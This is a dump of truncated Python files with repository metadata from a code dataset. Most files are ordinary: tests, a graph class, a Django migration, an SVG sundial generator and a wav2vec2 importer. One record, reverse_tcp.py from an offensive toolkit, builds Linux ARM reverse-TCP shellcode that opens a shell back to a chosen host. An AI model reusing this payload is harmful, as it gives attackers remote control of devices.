605b2ea9ab55de50e915b8ec3663adc3684f20b4 | 3,487 | py | Python | robrank/losses/test_snr.py | yhZhai/robrank | 5bff2d49e3f920efa524aad09ae2d7377e7004de | [
"Apache-2.0"
] | 22 | 2021-04-13T05:39:04.000Z | 2021-12-03T07:24:40.000Z | robrank/losses/test_snr.py | yhZhai/robrank | 5bff2d49e3f920efa524aad09ae2d7377e7004de | [
"Apache-2.0"
] | 12 | 2021-06-15T04:54:42.000Z | 2022-03-09T15:14:05.000Z | robrank/losses/test_snr.py | yhZhai/robrank | 5bff2d49e3f920efa524aad09ae2d7377e7004de | [
"Apache-2.0"
] | 3 | 2021-04-13T05:40:48.000Z | 2021-11-14T09:00:35.000Z | '''
Copyright (C) 2019-2021, Mo Zhou <cdluminate@gmail.com>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed t... | 31.414414 | 140 | 0.65185 | 491 | 3,487 | 4.521385 | 0.360489 | 0.021622 | 0.016216 | 0.014414 | 0.10991 | 0.10991 | 0.097297 | 0.081982 | 0.048649 | 0.048649 | 0 | 0.016327 | 0.227129 | 3,487 | 110 | 141 | 31.7 | 0.807421 | 0.226843 | 0 | 0.09375 | 0 | 0 | 0.044495 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.1875 | 0.046875 | 0.5625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
605e5dd743af703183ad6a0246a5524f8a18871c | 800 | py | Python | core/database/LinuxARM/reverse_tcp.py | xorond/l0l | bb0c2bb23fc49997b695cf27d2b2b25169395521 | [
"WTFPL"
] | 6 | 2018-10-29T19:46:49.000Z | 2022-03-10T15:39:47.000Z | core/database/LinuxARM/reverse_tcp.py | xorond/l0l | bb0c2bb23fc49997b695cf27d2b2b25169395521 | [
"WTFPL"
] | null | null | null | core/database/LinuxARM/reverse_tcp.py | xorond/l0l | bb0c2bb23fc49997b695cf27d2b2b25169395521 | [
"WTFPL"
] | 4 | 2018-10-16T13:28:27.000Z | 2022-02-05T18:43:57.000Z | #http://shell-storm.org/shellcode/files/shellcode-821.php
def reverse_tcp( HOST,PORT):
shellcode = r"\x01\x10\x8F\xE2"
shellcode += r"\x11\xFF\x2F\xE1"
shellcode += r"\x02\x20\x01\x21"
shellcode += r"\x92\x1a\x0f\x02"
shellcode += r"\x19\x37\x01\xdf"
shellcode += r"\x06\x1c\x08\xa1"
shel... | 30.769231 | 57 | 0.6125 | 123 | 800 | 3.97561 | 0.455285 | 0.368098 | 0.079755 | 0.09816 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.163833 | 0.19125 | 800 | 26 | 58 | 30.769231 | 0.591963 | 0.07 | 0 | 0 | 0 | 0 | 0.360215 | 0.037634 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045455 | false | 0 | 0 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
60670525faa79d477203c3ee110563fc53e1c9ce | 937 | py | Python | tools/test_sneeze.py | bpinsard/nipy | d49e8292adad6619e3dac710752131b567efe90e | [
"BSD-3-Clause"
] | 236 | 2015-01-09T21:28:37.000Z | 2022-03-27T11:51:58.000Z | tools/test_sneeze.py | bpinsard/nipy | d49e8292adad6619e3dac710752131b567efe90e | [
"BSD-3-Clause"
] | 171 | 2015-03-23T00:31:43.000Z | 2021-11-22T12:43:00.000Z | tools/test_sneeze.py | bpinsard/nipy | d49e8292adad6619e3dac710752131b567efe90e | [
"BSD-3-Clause"
] | 94 | 2015-02-01T12:39:47.000Z | 2022-01-27T06:38:19.000Z |
import os
from tempfile import mkdtemp
from shutil import rmtree
from nipy.testing import *
from sneeze import find_pkg, run_nose
import_strings = ["from nipype.interfaces.afni import To3d, ThreeDRefit",
"from nipype.interfaces import afni",
"import nipype.interfaces.afni",
... | 32.310345 | 78 | 0.635005 | 120 | 937 | 4.858333 | 0.5 | 0.137221 | 0.102916 | 0.089194 | 0.102916 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002886 | 0.260406 | 937 | 28 | 79 | 33.464286 | 0.838384 | 0.036286 | 0 | 0 | 0 | 0 | 0.263333 | 0.091111 | 0 | 0 | 0 | 0 | 0.041667 | 1 | 0.041667 | false | 0 | 0.458333 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
6067a7365361bab2f06b455917214dbf9d5ee935 | 6,388 | py | Python | personal_env/lib/python3.8/site-packages/astroid/brain/brain_six.py | jestinmwilson/personal-website | 6e47a7f33ed3b1ca5c1d42c89c5380d22992ed74 | [
"MIT"
] | null | null | null | personal_env/lib/python3.8/site-packages/astroid/brain/brain_six.py | jestinmwilson/personal-website | 6e47a7f33ed3b1ca5c1d42c89c5380d22992ed74 | [
"MIT"
] | null | null | null | personal_env/lib/python3.8/site-packages/astroid/brain/brain_six.py | jestinmwilson/personal-website | 6e47a7f33ed3b1ca5c1d42c89c5380d22992ed74 | [
"MIT"
] | null | null | null | # Copyright (c) 2014-2016, 2018, 2020 Claudiu Popa <pcmanticore@gmail.com>
# Copyright (c) 2015-2016 Ceridwen <ceridwenv@gmail.com>
# Copyright (c) 2018 Bryce Guinta <bryce.paul.guinta@gmail.com>
# Licensed under the LGPL: https://www.gnu.org/licenses/old-licenses/lgpl-2.1.en.html
# For details: https://github.co... | 31.623762 | 86 | 0.722761 | 806 | 6,388 | 5.583127 | 0.320099 | 0.040444 | 0.03 | 0.012667 | 0.144444 | 0.096 | 0.096 | 0.059556 | 0.059556 | 0.059556 | 0 | 0.006938 | 0.210238 | 6,388 | 201 | 87 | 31.781095 | 0.885035 | 0.188165 | 0 | 0.182482 | 0 | 0 | 0.445042 | 0.017388 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043796 | false | 0 | 0.474453 | 0 | 0.583942 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
6068434a14ae04306e54cf5a4bf0159f6ee50d2f | 10,578 | py | Python | constituentretrofit_fixed_word2vec.py | sidenver/ConstituentRetrofit | ca68c9dc9494d955aa50cd6676d5cde6ead0f4cb | [
"Apache-2.0"
] | null | null | null | constituentretrofit_fixed_word2vec.py | sidenver/ConstituentRetrofit | ca68c9dc9494d955aa50cd6676d5cde6ead0f4cb | [
"Apache-2.0"
] | null | null | null | constituentretrofit_fixed_word2vec.py | sidenver/ConstituentRetrofit | ca68c9dc9494d955aa50cd6676d5cde6ead0f4cb | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# encoding: utf-8
"""
Copyright (C) 2015 Sujay Kumar Jauhar <sjauhar@cs.cmu.edu>
Modified to include constituent by Han-Chin Shing
Licenced under the Apache Licence, v2.0 - http://www.apache.org/licenses/LICENSE-2.0
"""
import sys
import getopt
import numpy
# import gzip
import json
from scipy.s... | 36.226027 | 131 | 0.601437 | 1,124 | 10,578 | 5.628114 | 0.259786 | 0.028454 | 0.044262 | 0.019918 | 0.143851 | 0.086469 | 0.074771 | 0.054695 | 0.046791 | 0.03288 | 0 | 0.010116 | 0.299111 | 10,578 | 291 | 132 | 36.350515 | 0.843135 | 0.157213 | 0 | 0.102151 | 0 | 0.016129 | 0.14383 | 0.004271 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.037634 | null | null | 0.005376 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
606ef99c1b823438ff7ed55ca1939fd9e8a96457 | 990 | py | Python | onion_decorator/countcalls.py | PurpleSun/onion_decorator | 7c7bd76f79489bfcf8de70249339ff7d63c7f8d0 | [
"BSD-3-Clause"
] | 1 | 2019-06-20T14:45:12.000Z | 2019-06-20T14:45:12.000Z | onion_decorator/countcalls.py | PurpleSun/onion_decorator | 7c7bd76f79489bfcf8de70249339ff7d63c7f8d0 | [
"BSD-3-Clause"
] | null | null | null | onion_decorator/countcalls.py | PurpleSun/onion_decorator | 7c7bd76f79489bfcf8de70249339ff7d63c7f8d0 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Tony <stayblank@gmail.com>
# Time: 2019/5/31 23:52
import time
from threading import Lock
class countcalls(object):
def __init__(self, f):
self.__doc__ = f.__doc__
self.f = f
self.count = 0
self.elapse = 0
self.lock = ... | 18.333333 | 48 | 0.544444 | 141 | 990 | 3.702128 | 0.411348 | 0.068966 | 0.061303 | 0.076628 | 0.091954 | 0 | 0 | 0 | 0 | 0 | 0 | 0.039416 | 0.308081 | 990 | 53 | 49 | 18.679245 | 0.722628 | 0.1 | 0 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.055556 | null | null | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
606f76f10ba950f6fc3b6f2e7f38bb566a5f34f5 | 6,321 | py | Python | sundial.py | dps/sundial | ad3e6e812c123426e30b480fbd5190b04399ab3e | [
"BSD-2-Clause"
] | null | null | null | sundial.py | dps/sundial | ad3e6e812c123426e30b480fbd5190b04399ab3e | [
"BSD-2-Clause"
] | null | null | null | sundial.py | dps/sundial | ad3e6e812c123426e30b480fbd5190b04399ab3e | [
"BSD-2-Clause"
] | null | null | null | from argparse import ArgumentParser
from jinja2 import Template
import math
from svg_digit_paths import DigitPathGenerator
SVG_HEADER = '''<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="{{width_cm}}cm" height="{{h... | 42.709459 | 217 | 0.630755 | 865 | 6,321 | 4.343353 | 0.242775 | 0.009582 | 0.025552 | 0.014639 | 0.247538 | 0.176204 | 0.176204 | 0.137876 | 0.117913 | 0.097684 | 0 | 0.056175 | 0.233982 | 6,321 | 148 | 218 | 42.709459 | 0.719744 | 0.042557 | 0 | 0.170732 | 0 | 0.04878 | 0.247395 | 0.022656 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.00813 | 0.03252 | null | null | 0.00813 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
606f82810403c92f4773fd8f687c1387e883312a | 942 | py | Python | src/leaderboard/migrations/0004_auto_20210326_1042.py | jtrussell/swindle | 914f9ddc7b155cf895fc233b9f3f0c1804bf23e3 | [
"MIT"
] | 1 | 2021-04-07T20:14:43.000Z | 2021-04-07T20:14:43.000Z | src/leaderboard/migrations/0004_auto_20210326_1042.py | jtrussell/swindle | 914f9ddc7b155cf895fc233b9f3f0c1804bf23e3 | [
"MIT"
] | null | null | null | src/leaderboard/migrations/0004_auto_20210326_1042.py | jtrussell/swindle | 914f9ddc7b155cf895fc233b9f3f0c1804bf23e3 | [
"MIT"
] | null | null | null | # Generated by Django 3.1.7 on 2021-03-26 10:42
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('leaderboard', '0003_remove_competitor_deck'),
]
operations = [
migrations.AddField(
model_name=... | 31.4 | 138 | 0.639066 | 94 | 942 | 6.276596 | 0.5 | 0.054237 | 0.071186 | 0.111864 | 0.233898 | 0.233898 | 0.233898 | 0.233898 | 0.233898 | 0.233898 | 0 | 0.028129 | 0.245223 | 942 | 29 | 139 | 32.482759 | 0.801688 | 0.047771 | 0 | 0.217391 | 1 | 0 | 0.196648 | 0.106145 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.086957 | 0 | 0.217391 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
60724c4e7eef036093c0e51739c8cd7549dcb39c | 10,793 | py | Python | py_graph_t/SimpleGraph.py | JoseDavi/PyGraph | 9e293488b726b1d6876409582fc82d3638400bdf | [
"MIT"
] | null | null | null | py_graph_t/SimpleGraph.py | JoseDavi/PyGraph | 9e293488b726b1d6876409582fc82d3638400bdf | [
"MIT"
] | null | null | null | py_graph_t/SimpleGraph.py | JoseDavi/PyGraph | 9e293488b726b1d6876409582fc82d3638400bdf | [
"MIT"
] | null | null | null | from .vertex.SimpleVertex import SimpleVertex
from .edges.SimpleEdge import SimpleEdge
from .exceptions.SimpleGraphException import VertexNotExistsException, EdgeDuplicatedException, EdgeNotFoundException, VertexDuplicatedException
class SimpleGraph:
"""Implementação de um simples grafo."""
vertices = dict()... | 26.9825 | 144 | 0.527749 | 1,145 | 10,793 | 4.832314 | 0.158079 | 0.047714 | 0.047714 | 0.032532 | 0.410989 | 0.333092 | 0.301283 | 0.24869 | 0.225556 | 0.189409 | 0 | 0.001042 | 0.37756 | 10,793 | 399 | 145 | 27.050125 | 0.822566 | 0.35069 | 0 | 0.343284 | 0 | 0 | 0.000365 | 0 | 0 | 0 | 0 | 0.050125 | 0 | 1 | 0.156716 | false | 0.007463 | 0.022388 | 0 | 0.38806 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6072d0ff838869f6ace61fb856cce938d8b0c1ad | 2,671 | py | Python | torchaudio/models/wav2vec2/utils/import_huggingface.py | androiddrew/audio | 3bb3287f49e0a389bcf3860fc595a5bca7b39a10 | [
"BSD-2-Clause"
] | null | null | null | torchaudio/models/wav2vec2/utils/import_huggingface.py | androiddrew/audio | 3bb3287f49e0a389bcf3860fc595a5bca7b39a10 | [
"BSD-2-Clause"
] | null | null | null | torchaudio/models/wav2vec2/utils/import_huggingface.py | androiddrew/audio | 3bb3287f49e0a389bcf3860fc595a5bca7b39a10 | [
"BSD-2-Clause"
] | null | null | null | """Import Hugging Face transformers's wav2vec2.0 pretrained weights to torchaudios's format.
"""
import logging
from torch.nn import Module
from ..model import Wav2Vec2Model, _get_model
_LG = logging.getLogger(__name__)
def _get_config(cfg):
config = {
'extractor_mode': f'{cfg.feat_extract_norm}_norm',... | 38.157143 | 106 | 0.718832 | 315 | 2,671 | 5.71746 | 0.346032 | 0.039978 | 0.028873 | 0.046641 | 0.05608 | 0.039978 | 0 | 0 | 0 | 0 | 0 | 0.013562 | 0.171846 | 2,671 | 69 | 107 | 38.710145 | 0.800633 | 0.21827 | 0 | 0.04878 | 0 | 0 | 0.243217 | 0.111988 | 0 | 0 | 0 | 0 | 0 | 1 | 0.073171 | false | 0 | 0.317073 | 0 | 0.463415 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
607346cc58a13df9603220653bc58c4b6146f166 | 10,789 | py | Python | python/federatedml/feature/test/imputer_test.py | QuantumA/FATE | 89a3dd593252128c1bf86fb1014b25a629bdb31a | [
"Apache-2.0"
] | 715 | 2019-01-24T10:52:03.000Z | 2019-10-31T12:19:22.000Z | python/federatedml/feature/test/imputer_test.py | JavaGreenHands/FATE | ea1e94b6be50c70c354d1861093187e523af32f2 | [
"Apache-2.0"
] | 270 | 2019-02-11T02:57:36.000Z | 2019-08-29T11:22:33.000Z | python/federatedml/feature/test/imputer_test.py | JavaGreenHands/FATE | ea1e94b6be50c70c354d1861093187e523af32f2 | [
"Apache-2.0"
] | 200 | 2019-01-26T14:21:35.000Z | 2019-11-01T01:14:36.000Z | import numpy as np
import random
import time
import unittest
from fate_arch.session import computing_session as session
from federatedml.feature.imputer import Imputer
class TestImputer(unittest.TestCase):
def setUp(self):
session.init("test_imputer_" + str(random.random()))
str_time = time.strft... | 56.192708 | 120 | 0.63917 | 1,437 | 10,789 | 4.496173 | 0.141962 | 0.094567 | 0.125368 | 0.107723 | 0.708559 | 0.695868 | 0.691843 | 0.674973 | 0.657329 | 0.643244 | 0 | 0.158736 | 0.21698 | 10,789 | 191 | 121 | 56.486911 | 0.606061 | 0.038836 | 0 | 0.411765 | 0 | 0 | 0.110007 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0.111111 | false | 0 | 0.039216 | 0 | 0.183007 | 0.013072 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
60751247d33dfdacf9d0edc08bf36cb78b662d21 | 1,625 | py | Python | pria_lifechem/analysis/prospective_screening_model_names.py | chao1224/pria_lifechem | 1fd892505a45695c6197f8d711a8a37589cd7097 | [
"MIT"
] | 5 | 2018-05-14T10:15:13.000Z | 2021-03-15T17:18:10.000Z | pria_lifechem/analysis/prospective_screening_model_names.py | chao1224/pria_lifechem | 1fd892505a45695c6197f8d711a8a37589cd7097 | [
"MIT"
] | 5 | 2018-05-05T21:04:11.000Z | 2019-06-24T22:05:35.000Z | pria_lifechem/analysis/prospective_screening_model_names.py | chao1224/pria_lifechem | 1fd892505a45695c6197f8d711a8a37589cd7097 | [
"MIT"
] | 2 | 2019-10-18T23:42:27.000Z | 2020-07-08T19:46:14.000Z | model_name_mapping = {
'baseline': 'Baseline',
# dnn
'single_regression_2': 'SingleRegression_a',
'single_regression_11': 'SingleRegression_b',
'single_classification_22': 'SingleClassification_a',
'single_classification_42': 'SingleClassification_b',
'multi_classification_15': 'MultiCl... | 35.326087 | 62 | 0.707692 | 175 | 1,625 | 6.017143 | 0.382857 | 0.102564 | 0.024691 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032775 | 0.155077 | 1,625 | 46 | 63 | 35.326087 | 0.734159 | 0.017846 | 0 | 0 | 0 | 0 | 0.695352 | 0.248116 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6077cdc54487fd6b0db15fbcddd2cfdde7f95857 | 967 | py | Python | stubs.min/System/Windows/__init___parts/QueryContinueDragEventArgs.py | ricardyn/ironpython-stubs | 4d2b405eda3ceed186e8adca55dd97c332c6f49d | [
"MIT"
] | 1 | 2021-02-02T13:39:16.000Z | 2021-02-02T13:39:16.000Z | stubs.min/System/Windows/__init___parts/QueryContinueDragEventArgs.py | hdm-dt-fb/ironpython-stubs | 4d2b405eda3ceed186e8adca55dd97c332c6f49d | [
"MIT"
] | null | null | null | stubs.min/System/Windows/__init___parts/QueryContinueDragEventArgs.py | hdm-dt-fb/ironpython-stubs | 4d2b405eda3ceed186e8adca55dd97c332c6f49d | [
"MIT"
] | null | null | null | class QueryContinueDragEventArgs(RoutedEventArgs):
""" Contains arguments for the System.Windows.DragDrop.QueryContinueDrag event. """
Action=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the current status of the associated drag-and-drop operation.
Get: Action(self: Q... | 37.192308 | 132 | 0.745605 | 117 | 967 | 6.162393 | 0.495727 | 0.124827 | 0.074896 | 0.099861 | 0.239945 | 0.239945 | 0.239945 | 0.239945 | 0.239945 | 0.239945 | 0 | 0 | 0.156153 | 967 | 25 | 133 | 38.68 | 0.883578 | 0.077559 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
607a6dd51cddcd327e1fc82c8e817fae95371d47 | 360 | py | Python | hw1/10/10_1.py | dutta-alankar/PH-354-2018-IISc-Assignment-Problems | 370dbbc447749cebe148a6ffffb48ea978b2949b | [
"MIT"
] | 9 | 2020-01-31T19:47:11.000Z | 2022-01-08T04:05:39.000Z | hw1/10/10_1.py | dutta-alankar/PH-354-2018-IISc-Assignment-Problems | 370dbbc447749cebe148a6ffffb48ea978b2949b | [
"MIT"
] | null | null | null | hw1/10/10_1.py | dutta-alankar/PH-354-2018-IISc-Assignment-Problems | 370dbbc447749cebe148a6ffffb48ea978b2949b | [
"MIT"
] | 4 | 2021-02-21T17:33:25.000Z | 2021-10-06T02:58:56.000Z | # -*- coding: utf-8 -*-
"""
Created on Sat Jan 6 20:33:02 2018
@author: Alankar
"""
import numpy as np
def binomial(n,k):
if k==0: return 1
return int(np.math.factorial(n)/(np.math.factorial(k)*np.math.factorial(n-k)))
for n in range(0,20):
for k in range(0,n+1):
print(binomial(n... | 21.176471 | 83 | 0.558333 | 63 | 360 | 3.190476 | 0.539683 | 0.029851 | 0.223881 | 0.159204 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068841 | 0.233333 | 360 | 17 | 84 | 21.176471 | 0.65942 | 0.211111 | 0 | 0 | 0 | 0 | 0.015326 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0 | 0.375 | 0.25 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.